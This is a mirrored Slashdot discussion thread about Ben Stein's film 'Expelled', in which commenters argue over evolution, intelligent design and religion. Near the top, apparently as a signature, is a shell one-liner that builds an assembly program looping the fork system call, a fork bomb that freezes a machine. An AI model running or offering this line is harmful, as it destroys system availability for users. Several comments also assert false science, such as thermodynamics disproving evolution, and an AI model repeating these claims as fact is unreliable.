Slashdot Mirror
Ben Stein's 'Expelled' - Evolution, Academia and Conformity
eldavojohn writes "Painting the current scientific community as just as bad as the Spanish Inquisition, an extended trailer of Ben Stein's "Expelled" has a lot of people (at least that I know) talking. It looks like his movie plans to encourage people to speak out if they believe intelligent design or creationism to be correct. In the trailer he even warns you that if you are a scientist you may lose your job by watching 'Expelled.' Backlash to the movie has started popping up and this may force the creationism/evolutionist debate to a whole new level across the big screen and the internet."
adholden points out a site called Expelled Exposed, which asserts that 'Expelled' "is simply an anti-science propaganda film aimed at creating controversy where none exists, while promoting poor science education that can and will severely handicap American students."
Don't click on links ending with notlong.com!
http://rds.yahoo.com/_ylt=A0geu6yRUAxI0VcBrCtXNyoA/SIG=11hqnhjsc/EXP=1208853009/**http%3A//slashblog.notlong.com/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Why do people automatically assume Evolution is true just because they don't understand what other theories actually mean?
All my liberal friends think I'm a conservative, all my conservative friends think I'm a liberal.
People don't have to assume anything about Evolution, since there is more than enough empirical evidence at this point to support it.
... bible ... should be afforded the title of "theory" when they meet none of the qualifications required to be one?
Why do people automatically assume that whatever absurd idea they pull out of their
How can you be scientific in your belief of a entity-in-the-sky making "stuff"?
Inquiring minds wish to know....
All I ever hear on slashdot is "ID promotes poor science education". I think the same way about Darwinism. If you define science as "acquiring knowledge based on scientific method", Darwinism has no shred of evidence. Give me a break, the first cell was created off of the back of crystals? Where have you observed that? Show me a reproducible experiment?
Both Darwinism and ID are ideologies which can be used to explain the origins of our species. Thus, I am not against having them taught along with Science. However, they are not science and neither can claim the "higher ground" of science. However, the more we learn about the complexity of information stored in the cell, the less plausible Darwinism becomes.
"evolution can be talked about in school and ID should not is that evolution is science, and can change as new information is acquired."
I do not see how such precludes ID. Perhaps it precludes a Genesis creation but not ID. Especially as scientists discover greatest aspects of design patterns, and similarities to code re-use in biology.
"Evolution is not based on any traditional truth. It is based on observation, and it's connection to the holy,"
I see quite a few traditional myths in regards to evolution. And I find it's adherents to be quite religious and zealous. They too like to cover the mistakes, misinterpretations and mistranslations of their own as well.
The amount of fraudulent evidence used in many schools to teach evolution is immense. Be it drawings and depictions based on psuedo men derived from a single jawbone or a tooth of an extinct pig. And while those in the know may be aware that these mistakes and frauds are incorrect. These representations are STILL being used to teach kids the religion of evolution (as opposed to the theory of evolution).
But to me, the discussion should not be closed and censored. Such action is far worse than what the Catholic church did to Galileo. At least the Catholic church's stance allowed Galileo to express his views so long as he merely stated them as a theory for discussion rather than declared them fact. Evolutionists are far worse, because they won't even allow discussion on that level.
This is absolutely untrue.
Even without seeing the movie, scientists like Michael Behe are viciously attacked even when they try to have a rational, evidence-based discussion. Stein only uncovers many other cases (of which Behe is not even mentioned) where even worse attacks have taken place.
The fact is, Stein actually made a movie that is entertaining and uncovers a real problem. Unlike recent docugandas (even award winning ones), Expelled is an answer to a controversy that media coverage has failed to give "the other side" virtually any hearing. Contrast this with Gore's "An Inconvenient Truth," any of Michael Moore docuganda rubbish, or even Spike Lee's "When the Levees Broke."
The really powerful message in "Expelled" is that Stein explicitly points out that the philosophy behind two schools of thought are this:
- 1. Life necessarily emerged spontaneously, with mutation and natural selection being the sole mechanism
- 2. Life emerged, but mutation and natural selection is insufficient to account for life as we know it; therefore there must have been some intelligence involved with the design of life as we know it
The clever thing Stein does is capture Richard Dawkins on camera admitting that life as we know it may have been designed by aliens (who, of course, would have ultimately evolved via mutation and natural selection).I can't stand when supposed Christians claim that ID has no place in the classroom. I can only assume that absolutely no research has been done into the subject. Most posters quote evidence for evolution in their debates, which tells me that they only researched one side of the argument. If people are so dogmatic about their precious evolution, why are they so hesitant do any research into any other theories? 400 years ago it was ridiculous to think that the earth was round; there was simply too much evidence to the contrary. Why are we as a people so proud that we can't admit that maybe, just maybe we are in a time when the widely accepted theory of the origins of life and the adaptation of our species can't have another explanation, even if that theory has massive ramifications. The fact that any intelligent discussion on opposing theories to evolution (intelligent design or otherwise) is completely shut out of any discussion for being âoeridiculousâ, shows that our society is hardly progressive. No matter what people think, there is MASSIVE scientific evidence for ID, itâ(TM)s just that in this day and age (and in every one for that matter), whoever makes the most noise is right. ID advocates donâ(TM)t have the press to back them up, or most of the ego-centric scientific community for that matter. Itâ(TM)s not that the evidence is lacking, itâ(TM)s that admitting evolution has HUGE flaws is something the scientific community is not willing to do. They hide behind their grossly over generalized theories and hope that people canâ(TM)t wade through their garbage enough to know any better. Open up your eyes people, ID advocates arenâ(TM)t the closed minded ones here.
Actually there's awful little evidence to support his existence. Go investigate! ;)
First off, Creationism/Intellident Design/Evolution aren't necessarily competing ideas. Why couldn't everyone be created and then evolve from that point? I'm not arguing that's how it is, it's just that the two sides generally fail to realize it in this completely worthless and time wasting debate.
Second off, the THEORY of Evolution is a theory because it's not been proven. If there was a mountain of evidence, as some idiot put it in his comment, it'd no longer be a theory.
You all might want to start reading something before just taking sides without information because you like or dislike something you hear. Start reading or STFU about it, seriously.
I like a lot of his teachings, actually. But as Gandhi said, "I like your Christ, I do not like your Christians."
How many Buddhists want to establish a Buddhist state religion and persecute nonbelievers?
How many Christians?
How many murders has the Dalai Lama called for? Not many. Take a look at Pat Robertson.
Do Buddhists play a significant role in shaping U.S. culture? Not really.
Do Christians often demand their beliefs be given special status? Are there clauses (now ruled unconstitutional by Torcaso v. Watkins, but they're still there) in several states' constitutions saying that one must believe in God to hold public office? Ever hear of Torcaso v. Watkins? Those people didn't just disappear after Torcaso, btw. They're still around. And now they make up stuff and put it in propaganda movies to get their weird beliefs accepted as fact instead of relying on the process of scientific inquiry, as they should (it works fine!).
OMGosh, what is it with you science people? It seems that what is needed here is an introductory course in epistemology and philosophy 101 or something.
Sooo committed to pure science, so many of you are, yet unable or unwilling to realize that this very commitment is religious in nature. Science can not demonstrate that science is important, that we ought to teach it in our schools, or that is better than religion. If you believe any of the aforementioned, please realize that these are your beliefs. And if you fervently, even zealously, endeavor to defend, proselytize or promulgate these beliefs- you are a RELIGIOUS person. Why is this so difficult to grasp? I dunno, I dunno... But at any rate, if you now realize that you are one of these people, please stop attacking your religious brethren, as though they are the mindless.
And on a semi-related note, I for one favor educating children in basic philosophical concepts, along with sciences, and perhaps even religious concepts if they so desire, so that when they "get big", they will not be so confused, as so many of "us" are.
If you consider the incident with ``let the sinless throw the first stone'', you are advocating a society in which guilt is determined only by those who are not, themselves, guilty. That is ludicrous, particularly if Adam's original sin is taken into account.
You missed the point completely. Do you think you think the saying "people who live in glass houses should not throw stones" is a call to arms for brick house owners? Please.
Second, Jesus is advocating a quasi-communistic, merchant-less society. This is prevalent throughout all of his writings. ``Go sell all you have'', the incident in the Temple, etc. etc. Again, this is naive and ridiculous.
What is naive and ridiculous is your grasp of Christianity. You should have paid more attention in Sunday School. The "incident in the temple" had to do with the merchants defiling a holy place. If someone tried to set up a hotdog stand directly on top of your family grave site would you be ok with that? If you asked them politely (yeah right) to relocate would that make you a communist?
I'm not even going to bother with your other points because they are laughably weak. If this is the type of attack that Christians can expect from atheists nowadays then they have nothing to worry about.
- Toby
I think your fears are unfounded. With a tiny handful of exceptions such as Ben Stein and Francis Collins, the vast majority of people who are not grotesquely ignorant fully accept evolution as fact based on the absolutely overwhelming mountain of evidence that exists for it across all scientific fields from astronomy to zoology. There is no more danger of 'evolutionists' coming to be seen as dogmatic zealots than there is for 'arithmetists' coming to be seen as dogmatic zealots for not respecting the view that relationships between numbers are not logical but rather "God's Magic."
If you have friends who believe in Creationism, respect them and provide for them sound arguments against it.
No, it is not necessary to respect someone who is woefully ignorant. You can humor or tolerate a person of this sort, and treat them with compassion as you try to educate them, but respect is absolutely the wrong word. We do not respect ignorance. If someone believes women are inherently intellectually inferior to men - despite vast scientific evidence to the contrary - because their cultural background and magic books tell them so, we do not respect this belief. We condemn it as ignorance and attempt to rectify the problem through education. If someone is racist because their religion tells them a minority is inherently inferior and subhuman, as Mormonism did up until the eve of the Civil Rights Act, we do not respect this belief. We condemn it as ignorance and attempt to rectify the problem through education.
Education and dispellation of ignorance does not preclude kindness, but ignorance is not an attribute deserving of respect under any circumstances.
Creationism/ID is not on equal footing with evolution. It is transparently false, and we must treat it as so. It is necessary to correctly identify both truth and falsehood, otherwise we live delusional lives deatched from reality - the consequences of which are almost uniformly negative.
A-Bomb
There are no contemporaneous accounts of Christ's existence (ie firsthand eyewitness accounts written while he was supposedly alive). Please prove me wrong. If you can't show me any "writing from early enough", then show me his bones, some skin cells, anything.
Actually, don't waste your time. There is nothing. The guy almost certainly didn't exist.
... it must be falsifiable....
In that case, a major tenet of evolution is falsified by the second law of thermodynamics. Nowhere do we OBSERVE today the natural unaided progression from the simple to the complex, which evolution requires. We only observe the breakdown of complex natural and manmade systems into simpler, usually nonfunctional components. The evolutionary assertion that the complexity we see all around us started out as "simple" forms has NEVER be observed today. It is pure faith that the mechanisms that drive micro-evolution also work on the grand scale needed to turn a one celled amoeba into an elephant or a monkey into a man.
All theory is gray
Ooh, testy. Is this one of those irregular verbs?
- you PROVIDE facts;
- they DISTORT facts;
- we (right thinking people) have CONCENSUS;
- they (oil company shills) are DELUDED or FRAUDULENT.
Of course, the tone of your post suggests that your position is neither ideological or authoritarian.